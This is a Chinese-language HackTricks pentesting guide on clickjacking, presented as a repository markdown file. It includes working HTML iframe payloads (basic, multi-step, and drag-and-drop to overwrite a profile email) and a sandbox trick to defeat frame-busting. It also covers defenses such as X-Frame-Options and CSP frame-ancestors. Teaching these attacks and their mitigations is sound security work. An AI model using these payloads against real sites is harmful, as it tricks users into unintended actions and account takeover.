hacktricks/pentesting-web/clickjacking.md

225 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 点击劫持
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## 什么是点击劫持
在点击劫持攻击中,**用户**被**欺骗**点击网页上的一个**元素**,该元素要么是**不可见的**,要么伪装成另一个元素。这种操纵可能会对用户造成意外后果,如下载恶意软件,重定向到恶意网页,提供凭据或敏感信息,转账,或在线购买产品。
### 预填表单技巧
有时可以在加载页面时使用GET参数**填充表单字段的值**。攻击者可能会滥用这种行为,填充表单的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。
### 使用拖放填充表单
如果您需要用户**填写表单**,但又不想直接要求他输入某些特定信息(比如您知道的电子邮件或特定密码),您可以要求他**拖放**某些内容,这些内容将写入您控制的数据,就像在[**这个示例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)中一样。
### 基本有效载荷
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### 多步骤有效载荷
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### 拖放 + 点击攻击载荷
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
如果您已经确定了一个需要用户点击某个元素来触发 XSS 攻击的情况,并且页面容易受到点击劫持攻击,您可以利用这一点来欺骗用户点击按钮/链接。\
示例:\
_您发现账户私人详情中存在自身 XSS只有您可以设置和读取的详情。包含设置这些详情的表单的页面容易受到点击劫持攻击您可以使用 GET 参数预填充表单。_\
\_\_攻击者可以准备一个点击劫持攻击到该页面预填充表单中的 XSS 负载,并欺骗用户提交表单。因此,当表单提交且值被修改时,用户将执行 XSS。
## 缓解点击劫持的策略
### 客户端防御
在客户端执行的脚本可以执行操作以防止点击劫持:
* 确保应用窗口是主要或顶级窗口。
* 使所有框架可见。
* 防止在不可见框架上点击。
* 检测并警告用户可能的点击劫持尝试。
然而,这些破坏框架的脚本可能会被规避:
* **浏览器的安全设置:** 一些浏览器可能会基于其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
* **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms``allow-scripts` 值而不包括 `allow-top-navigation` 来中和破坏框架脚本。这会阻止 iframe 验证是否为顶级窗口,例如,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### 服务器端防御
#### X-Frame-Options
**`X-Frame-Options` HTTP响应头** 通知浏览器有关在 `<frame>``<iframe>` 中呈现页面的合法性,有助于防止点击劫持:
- `X-Frame-Options: deny` - 没有域可以嵌入内容。
- `X-Frame-Options: sameorigin` - 只有当前站点可以嵌入内容。
- `X-Frame-Options: allow-from https://trusted.com` - 只有指定的 'uri' 可以嵌入页面。
- 请注意限制如果浏览器不支持此指令则可能无效。一些浏览器更喜欢CSP frame-ancestors指令。
#### 内容安全策略CSPframe-ancestors指令
**CSP中的`frame-ancestors`指令** 是防止点击劫持的建议方法:
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`
- `frame-ancestors trusted.com` - 类似于 `X-Frame-Options: allow-from`
例如以下CSP仅允许来自相同域的嵌入
`Content-Security-Policy: frame-ancestors 'self';`
有关更多详细信息和复杂示例,请参阅[frame-ancestors CSP文档](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)和[Mozilla的CSP frame-ancestors文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)。
### 使用`child-src`和`frame-src`的内容安全策略CSP
**内容安全策略CSP** 是一项安全措施,通过指定浏览器应允许加载内容的来源,有助于防止点击劫持和其他代码注入攻击。
#### `frame-src`指令
- 定义帧的有效来源。
- 比`default-src`指令更具体。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
这个策略允许来自相同源self和 https://trusted-website.com 的框架。
#### `child-src` 指令
* 在 CSP 2 级中引入,用于设置 Web Workers 和框架的有效来源。
* 作为 frame-src 和 worker-src 的后备。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
这个策略允许来自相同源self和 https://trusted-website.com 的框架和 worker。
**使用注意事项:**
* 弃用: child-src 正在逐步被 frame-src 和 worker-src 取代。
* 回退行为: 如果 frame-src 不存在,则 frames 的回退选项是 child-src。如果两者都不存在则使用 default-src。
* 严格的源定义: 在指令中只包含可信任的源,以防止被利用。
#### JavaScript 打破框架的脚本
尽管不是完全可靠,基于 JavaScript 的打破框架脚本可用于防止网页被嵌套。示例:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### 使用反CSRF令牌
* **令牌验证:** 在Web应用程序中使用反CSRF令牌以确保状态更改请求是由用户有意进行的而不是通过Clickjacked页面。
## 参考资料
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) 可以轻松构建并通过世界上最先进的社区工具**自动化工作流程**。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>